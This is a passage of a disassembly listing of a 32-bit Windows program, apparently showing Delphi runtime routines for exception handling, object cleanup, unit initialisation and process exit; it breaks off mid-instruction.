; CODE XREF: sub_40173C+7j ; sub_40173C+2Cj ... pop ebx retn sub_40173C endp ; --------------------------------------------------------------------------- align 8 dd 7FFF80h, 0 dd 0FF800000h, 3Fh, 0 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h, 81229640h, 6F7C4045h dd 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h, 781F49FFh dd 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h, 0BA47C980h dd 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h, 70F78D39h dd 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h, 7EEBFB9Dh dd 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h, 842F29F2h dd 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h, 0C5E310AEh dd 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h, 7A4AE1EBh dd 6245CF95h, 0DC0795A2h, 39B83ED8h, 0E91C746h, 19A0AEA6h dd 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh, 0B8353B39h dd 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah, 0A554C020h dd 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h, 5DC8A2BFh dd 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h, 3511626Eh dd 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= sub_401A1C proc near ; CODE XREF: sub_401D08+20p ; sub_407AFC-5CAEp fninit wait fldcw ds:word_409008 retn sub_401A1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A28 proc near ; CODE XREF: CODE:0040526Bp push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_401A28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A3C proc near ; DATA XREF: CODE:0040104Co push ebx mov ebx, eax mov eax, ebx call sub_401A6C call sub_4011A8 mov edx, eax mov eax, ebx call sub_401A90 pop ebx retn sub_401A3C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A58 proc near ; CODE XREF: CODE:0040553Ep ; DATA XREF: CODE:00401050o push ebx mov ebx, eax mov eax, ebx call sub_401AE8 mov eax, ebx call sub_4011C0 pop ebx retn sub_401A58 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A6C proc near ; CODE XREF: sub_401A3C+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_401A6C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A74 proc near ; DATA XREF: CODE:00401054o call sub_401C14 test dl, dl jle short locret_401A82 call sub_401BFC locret_401A82: ; CODE XREF: sub_401A74+7j retn sub_401A74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401A84 proc near ; CODE XREF: sub_401D08+11Fj ; CODE:00401FAFj ... test eax, eax jz short locret_401A8F mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_401A8F: ; CODE XREF: sub_401A84+2j retn sub_401A84 endp ; =============== S U B R O U T I N E ======================================= sub_401A90 proc near ; CODE XREF: sub_401A3C+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_401AAE: ; CODE XREF: sub_401A90+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_401AB6 push ecx loc_401AB6: ; CODE XREF: sub_401A90+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_401AC1 mov ebx, [ebx] jmp short loc_401AAE ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401A90+2Bj cmp esp, edx jz short loc_401AE2 loc_401AC5: ; CODE XREF: sub_401A90+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_401ACB: ; CODE XREF: sub_401A90+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_401AD8 mov edi, [ebx+14h] mov [edi+eax], esi loc_401AD8: ; CODE XREF: sub_401A90+40j add ebx, 1Ch dec ecx jnz short loc_401ACB cmp esp, edx jnz short loc_401AC5 loc_401AE2: ; CODE XREF: sub_401A90+33j pop edi pop esi pop ebx retn sub_401A90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AE8 proc near ; CODE XREF: sub_401A58+5p push ebx push esi mov ebx, eax mov esi, eax loc_401AEE: ; CODE XREF: sub_401AE8+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_401B01 call sub_4027F0 mov eax, ebx loc_401B01: ; CODE XREF: sub_401AE8+10j test esi, esi jnz short loc_401AEE pop esi pop ebx retn sub_401AE8 endp ; =============== S U B R O U T I N E ======================================= sub_401B08 proc near ; CODE XREF: CODE:00405214p ; sub_40598C+96p push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_401B1F mov edx, esi mov eax, [ebx] call sub_401B5C test al, al jnz short loc_401B24 loc_401B1F: ; CODE XREF: sub_401B08+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401B24: ; CODE XREF: sub_401B08+15j mov al, 1 pop esi pop ebx retn sub_401B08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401B2C proc near ; CODE XREF: sub_401B84+13p push edi xchg eax, esi jmp short loc_401B32 ; --------------------------------------------------------------------------- loc_401B30: ; CODE XREF: sub_401B2C+1Fj mov esi, [esi] loc_401B32: ; CODE XREF: sub_401B2C+2j mov edi, [esi-30h] test edi, edi jz short loc_401B46 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_401B4F pop ecx loc_401B46: ; CODE XREF: sub_401B2C+Bj mov esi, [esi-24h] test esi, esi jnz short loc_401B30 pop edi retn ; --------------------------------------------------------------------------- loc_401B4F: ; CODE XREF: sub_401B2C+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_401B2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401B5C proc near ; CODE XREF: sub_401B08+Ep jmp short loc_401B60 ; --------------------------------------------------------------------------- loc_401B5E: ; CODE XREF: sub_401B5C+Dj mov eax, [eax] loc_401B60: ; CODE XREF: sub_401B5Cj cmp eax, edx jz short loc_401B6C mov eax, [eax-24h] test eax, eax jnz short loc_401B5E retn ; --------------------------------------------------------------------------- loc_401B6C: ; CODE XREF: sub_401B5C+6j mov al, 1 retn sub_401B5C endp ; --------------------------------------------------------------------------- align 10h loc_401B70: ; DATA XREF: CODE:00401038o mov eax, 8000FFFFh retn ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_401B84 proc near ; DATA XREF: CODE:00401044o push esi mov si, [edx] or si, si jz short loc_401BA4 cmp si, 0C000h jnb short loc_401BA4 push eax mov eax, [eax] call sub_401B2C pop eax jz short loc_401BA4 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_401BA4: ; CODE XREF: sub_401B84+7j ; sub_401B84+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_401B84 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BAC proc near ; CODE XREF: sub_4053AC+Ap ; sub_4053E8+Fp ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_401BB6 call dword ptr [eax-0Ch] loc_401BB6: ; CODE XREF: sub_401BAC+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_401BD5 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_401BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD5 proc near ; DATA XREF: sub_401BAC+18o jmp sub_401D08 sub_401BD5 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_401BF3 mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_401BFC loc_401BF3: ; CODE XREF: CODE:00401BE3j call sub_40201C retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BFC proc near ; CODE XREF: sub_401A74+9p ; CODE:00401BEEp mov edx, [eax] call dword ptr [edx-8] retn sub_401BFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C04 proc near ; CODE XREF: sub_4053AC+25p ; sub_4053E8+67p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_401C04 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C14 proc near ; CODE XREF: sub_401A74p test dl, dl jg short loc_401C19 retn ; --------------------------------------------------------------------------- loc_401C19: ; CODE XREF: sub_401C14+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_401C14 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C24 proc near ; CODE XREF: sub_40201C+35p cmp ds:byte_40900C, 1 jbe short locret_401C3E push 0 push 0 push 0 push 0EEDFADFh call ds:off_40A014 locret_401C3E: ; CODE XREF: sub_401C24+7j retn sub_401C24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401C40 proc near ; CODE XREF: sub_401D08+4Dp ; sub_407AFC-5C13p cmp ds:byte_40900C, 0 jz short locret_401C60 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:off_40A014 add esp, 8 pop eax locret_401C60: ; CODE XREF: sub_401C40+7j retn sub_401C40 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401C90 loc_401C64: ; CODE XREF: sub_401C7C+Dj ; sub_401C90+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:off_40A014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_401C90 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C7C proc near ; CODE XREF: sub_407AFC-5B70p cmp ds:byte_40900C, 1 jbe short locret_401C8E push eax push dword ptr [ebx+4] jmp loc_401C64 ; --------------------------------------------------------------------------- locret_401C8E: ; CODE XREF: sub_401C7C+7j retn sub_401C7C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401C90 proc near ; CODE XREF: sub_401D08+FDp ; FUNCTION CHUNK AT 00401C64 SIZE 00000015 BYTES cmp ds:byte_40900C, 1 jbe short locret_401CA0 push eax push ebx jmp loc_401C64 ; --------------------------------------------------------------------------- locret_401CA0: ; CODE XREF: sub_401C90+7j retn sub_401C90 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401CA4 proc near ; CODE XREF: sub_401CC4+Cp test ecx, ecx jz short locret_401CC1 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_401CBC cmp byte ptr [ecx], 0EBh jnz short locret_401CC1 movsx eax, al inc ecx inc ecx jmp short loc_401CBF ; --------------------------------------------------------------------------- loc_401CBC: ; CODE XREF: sub_401CA4+Aj add ecx, 5 loc_401CBF: ; CODE XREF: sub_401CA4+16j add ecx, eax locret_401CC1: ; CODE XREF: sub_401CA4+2j ; sub_401CA4+Fj retn sub_401CA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401CC4 proc near ; CODE XREF: sub_401428+BB9p cmp ds:byte_40900C, 1 jbe short locret_401CEA push eax push edx push ecx call sub_401CA4 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:off_40A014 pop ecx pop ecx pop edx pop eax locret_401CEA: ; CODE XREF: sub_401CC4+7j retn sub_401CC4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401CEC proc near ; CODE XREF: CODE:00402098p cmp ds:byte_40900C, 1 jbe short locret_401D07 push edx push esp push 1 push 0 push 0EEDFAE2h call ds:off_40A014 pop edx locret_401D07: ; CODE XREF: sub_401CEC+7j retn sub_401CEC endp ; =============== S U B R O U T I N E ======================================= sub_401D08 proc near ; CODE XREF: sub_401BD5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h mov eax, [esp+arg_0] test dword ptr [eax+4], 6 jnz loc_401E2C cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_401D95 cld call sub_401A1C mov edx, ds:dword_40A010 test edx, edx jz loc_401E2C call edx test eax, eax jz loc_401E2C mov edx, [esp+arg_8] mov ecx, [esp+arg_0] cmp dword ptr [ecx], 0EEFFACEh jz short loc_401D8C call sub_401C40 cmp ds:byte_409010, 0 jbe short loc_401D8C cmp ds:byte_40900C, 0 ja short loc_401D8C lea ecx, [esp+arg_0] push eax push ecx call sub_4010C8 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_401E2C mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] jmp short loc_401DBC ; --------------------------------------------------------------------------- loc_401D8C: ; CODE XREF: sub_401D08+4Bj ; sub_401D08+59j ... mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] loc_401D95: ; CODE XREF: sub_401D08+1Dj cmp ds:byte_409010, 1 jbe short loc_401DBC cmp ds:byte_40900C, 0 ja short loc_401DBC push eax lea eax, [esp+4+arg_0] push edx push ecx push eax call sub_4010C8 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_401E2C loc_401DBC: ; CODE XREF: sub_401D08+82j ; sub_401D08+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_4] push 0 push eax push offset loc_401DE0 push edx call ds:off_40A018 loc_401DE0: ; DATA XREF: sub_401D08+CCo mov edi, [esp+arg_24] call sub_40308C push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_401E0C add ebx, 5 call sub_401C90 jmp ebx ; --------------------------------------------------------------------------- loc_401E0C: ; DATA XREF: sub_401D08+F3o jmp loc_401FBC ; --------------------------------------------------------------------------- call sub_40308C mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_401A84 ; --------------------------------------------------------------------------- loc_401E2C: ; CODE XREF: sub_401D08+Bj ; sub_401D08+2Dj ... mov eax, 1 retn sub_401D08 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_407AFC loc_401E34: ; CODE XREF: sub_407AFC:loc_407B44j mov eax, [esp-4+arg_0] test dword ptr [eax+4], 6 jnz loc_401FB4 cmp dword ptr [eax], 0EEDFADEh jz short loc_401E6C cld call sub_401A1C mov edx, ds:dword_40A00C test edx, edx jz loc_401FB4 call edx test eax, eax jnz short loc_401E71 jmp loc_401FB4 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: sub_407AFC-5CB1j mov eax, [eax+18h] mov eax, [eax] loc_401E71: ; CODE XREF: sub_407AFC-5C97j mov edx, [esp-4+arg_4] push ebx push esi push edi push ebp mov ecx, [edx+4] mov ebx, [ecx+5] lea esi, [ecx+9] mov ebp, eax loc_401E84: ; CODE XREF: sub_407AFC-5C3Aj mov eax, [esi] test eax, eax jz short loc_401ECD mov edi, ebp jmp short loc_401E90 ; --------------------------------------------------------------------------- loc_401E8E: ; CODE XREF: sub_407AFC-5C40j mov edi, [edi] loc_401E90: ; CODE XREF: sub_407AFC-5C70j mov eax, [eax] cmp eax, edi jz short loc_401ECD mov ecx, [eax-28h] cmp ecx, [edi-28h] jnz short loc_401EB5 mov eax, [eax-2Ch] mov edx, [edi-2Ch] xor ecx, ecx mov cl, [eax] cmp cl, [edx] jnz short loc_401EB5 inc eax inc edx call sub_401558 jz short loc_401ECD loc_401EB5: ; CODE XREF: sub_407AFC-5C60j ; sub_407AFC-5C52j mov edi, [edi-24h] mov eax, [esi] test edi, edi jnz short loc_401E8E add esi, 8 dec ebx jnz short loc_401E84 pop ebp pop edi pop esi pop ebx jmp loc_401FB4 ; --------------------------------------------------------------------------- loc_401ECD: ; CODE XREF: sub_407AFC-5C74j ; sub_407AFC-5C68j ... mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_401F20 call ds:dword_40A010 mov edx, [esp+0Ch+arg_8] call sub_401C40 cmp ds:byte_409010, 0 jbe short loc_401F15 cmp ds:byte_40900C, 0 ja short loc_401F15 lea ecx, [esp+0Ch+var_8] push eax push ecx call sub_4010C8 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_401FB4 loc_401F15: ; CODE XREF: sub_407AFC-5C07j ; sub_407AFC-5BFEj mov edx, eax mov eax, [esp+14h] mov ecx, [eax+0Ch] jmp short loc_401F47 ; --------------------------------------------------------------------------- loc_401F20: ; CODE XREF: sub_407AFC-5C1Fj cmp ds:byte_409010, 1 jbe short loc_401F47 cmp ds:byte_40900C, 0 ja short loc_401F47 push eax lea eax, [esp+10h+var_8] push edx push ecx push eax call sub_4010C8 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_401FB4 loc_401F47: ; CODE XREF: sub_407AFC-5BDEj ; sub_407AFC-5BD5j ... xor ebx, ebx mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_0] or dword ptr [eax+4], 2 push esi push 0 push eax push offset loc_401F68 push edx call ds:off_40A018 loc_401F68: ; DATA XREF: sub_407AFC-5BA0o pop ebx mov edi, [esp+30h+var_8] call sub_40308C push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov dword ptr [edi+4], offset sub_401F94 mov eax, [esp+34h+var_2C] call sub_401C7C jmp dword ptr [ebx+4] ; END OF FUNCTION CHUNK FOR sub_407AFC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F94 proc near ; DATA XREF: sub_407AFC-5B7Bo jmp loc_401FBC sub_401F94 endp ; --------------------------------------------------------------------------- call sub_40308C mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_401A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407AFC loc_401FB4: ; CODE XREF: sub_407AFC-5CBDj ; sub_407AFC-5CA1j ... mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_407AFC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401428 loc_401FBC: ; CODE XREF: sub_401428:loc_401479j ; sub_401D08:loc_401E0Cj ... mov eax, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] test dword ptr [eax+4], 6 jz short loc_401FEC mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_401FEC push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_401CC4 call ecx pop ebp pop edi pop esi pop ebx loc_401FEC: ; CODE XREF: sub_401428+BA3j ; DATA XREF: sub_401428+BA8o mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_401428 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FF4 proc near ; CODE XREF: sub_403F08+19p ; sub_4055E4+4Bj ... or eax, eax jnz short loc_402002 mov eax, 0D8h call sub_4022D8 ; --------------------------------------------------------------------------- loc_402002: ; CODE XREF: sub_401FF4+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:off_40A014 sub_401FF4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40201C proc near ; CODE XREF: CODE:loc_401BF3p arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_402067 call sub_40308C mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_402056 mov eax, [edx+8] call sub_401A84 call sub_401C24 loc_402056: ; CODE XREF: sub_40201C+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_402067: ; DATA XREF: sub_40201C+4o mov eax, 1 retn sub_40201C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h call sub_40308C mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_401A84 pop edx mov esp, [esp+2Ch] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_401CEC jmp edx ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4020A0 proc near ; CODE XREF: sub_4021FC:loc_40224Ap ; DATA XREF: DATA:off_40902Co push ebx push esi push edi push ebp mov edi, offset dword_40A3E0 mov eax, [edi+8] test eax, eax jz short loc_4020CE mov ebx, [edi+0Ch] mov esi, [eax+4] test ebx, ebx jle short loc_4020CE loc_4020BA: ; CODE XREF: sub_4020A0+2Cj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_4020CA mov ebp, eax call ebp loc_4020CA: ; CODE XREF: sub_4020A0+24j test ebx, ebx jg short loc_4020BA loc_4020CE: ; CODE XREF: sub_4020A0+Ej ; sub_4020A0+18j pop ebp pop edi pop esi pop ebx retn sub_4020A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4020D4 proc near ; CODE XREF: sub_4020D4+43p ; sub_402128+12p ; DATA XREF: ... push ebx push esi push edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov eax, offset sub_4020D4 cmp eax, ds:off_409028 setz bl cmp edi, ebp jle short loc_402123 loc_4020F0: ; CODE XREF: sub_4020D4+4Dj mov eax, [esi+ebp*8] inc ebp mov ds:dword_40A3EC, ebp test eax, eax jz short loc_402100 call eax loc_402100: ; CODE XREF: sub_4020D4+28j test bl, bl jz short loc_40211F mov eax, offset sub_4020D4 cmp eax, ds:off_409028 jz short loc_40211F mov ecx, edi mov edx, ebp mov eax, esi call ds:off_409028 jmp short loc_402123 ; --------------------------------------------------------------------------- loc_40211F: ; CODE XREF: sub_4020D4+2Ej ; sub_4020D4+3Bj cmp edi, ebp jg short loc_4020F0 loc_402123: ; CODE XREF: sub_4020D4+1Aj ; sub_4020D4+49j pop ebp pop edi pop esi pop ebx retn sub_4020D4 endp ; =============== S U B R O U T I N E ======================================= sub_402128 proc near ; CODE XREF: sub_402144+35p mov eax, ds:off_40A3E8 test eax, eax jz short locret_402140 mov edx, [eax] xor ecx, ecx mov eax, [eax+4] xchg ecx, edx call ds:off_409028 locret_402140: ; CODE XREF: sub_402128+7j retn sub_402128 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402144 proc near ; CODE XREF: sub_4030D8+3Ap mov ds:off_40A014, offset sub_4010B8 mov ds:off_40A018, offset sub_4010C0 mov ds:off_40A3E8, eax xor eax, eax mov ds:dword_40A3EC, eax mov ds:off_40A3F0, edx mov eax, [edx+4] mov ds:dword_40A02C, eax mov ds:byte_40A034, 0 call sub_402128 retn sub_402144 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402180 proc near ; CODE XREF: CODE:004067FBp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_40218C: ; CODE XREF: sub_402180+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_402F64 add esi, 8 dec edi jnz short loc_40218C pop esi pop edi pop ebx retn sub_402180 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4021A8 proc near ; CODE XREF: CODE:00406805p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_4021B4: ; CODE XREF: sub_4021A8+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_4021B4 pop esi pop edi pop ebx retn sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= sub_4021CC proc near ; CODE XREF: sub_4021FC+96p xor eax, eax xchg eax, ds:dword_409000 neg eax sbb eax, eax inc eax mov edi, offset dword_40A3E0 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_4021CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4021FC proc near ; CODE XREF: sub_4022CC+5p ; CODE:loc_4083A3p push ebx push esi push edi push ebp mov ebx, offset dword_40A3E0 mov esi, offset dword_409000 mov edi, offset dword_40A038 cmp byte ptr [ebx+28h], 0 jnz short loc_40222B cmp dword ptr [edi], 0 jz short loc_40222B loc_40221A: ; CODE XREF: sub_4021FC+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_40221A loc_40222B: ; CODE XREF: sub_4021FC+17j ; sub_4021FC+1Cj cmp ds:dword_409004, 0 jz short loc_40223A call ds:off_409064 loc_40223A: ; CODE XREF: sub_4021FC+36j ; sub_4021FC+C6j cmp byte ptr [ebx+28h], 2 jnz short loc_40224A cmp dword ptr [esi], 0 jnz short loc_40224A xor eax, eax mov [ebx+0Ch], eax loc_40224A: ; CODE XREF: sub_4021FC+42j ; sub_4021FC+47j call ds:off_40902C cmp byte ptr [ebx+28h], 1 jbe short loc_40225B cmp dword ptr [esi], 0 jz short loc_40227D loc_40225B: ; CODE XREF: sub_4021FC+58j mov eax, [ebx+10h] test eax, eax jz short loc_40227D call ds:off_40901C mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_40227D test eax, eax jz short loc_40227D push eax call sub_401080 ; FreeLibrary loc_40227D: ; CODE XREF: sub_4021FC+5Dj ; sub_4021FC+64j ... call ds:off_409030 cmp byte ptr [ebx+28h], 1 jnz short loc_40228C call dword ptr [ebx+24h] loc_40228C: ; CODE XREF: sub_4021FC+8Bj cmp byte ptr [ebx+28h], 0 jz short loc_402297 call sub_4021CC loc_402297: ; CODE XREF: sub_4021FC+94j cmp dword ptr [ebx], 0 jnz short loc_4022B3 cmp ds:dword_40A024, 0 jz short loc_4022AB call ds:dword_40A024 loc_4022AB: ; CODE XREF: sub_4021FC+A7j mov eax, [esi] push eax call sub_4010D8 ; ExitProcess loc_4022B3: ; CODE XREF: sub_4021FC+9Ej mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_40223A sub_4021FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4022CC proc near ; CODE XREF: sub_401228+6p ; sub_4022D8+6j mov ds:dword_409000, eax call sub_4021FC sub_4022CC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4022D8 proc near ; CODE XREF: sub_401FF4+9p ; sub_403048+1Ap ... pop ds:dword_409004 jmp sub_4022CC sub_4022D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4022E4 proc near ; CODE XREF: sub_401428+4Bp ; sub_401488+Fp ... mov edx, [eax] test edx, edx jz short locret_402305 mov dword ptr [eax], 0 mov ecx, 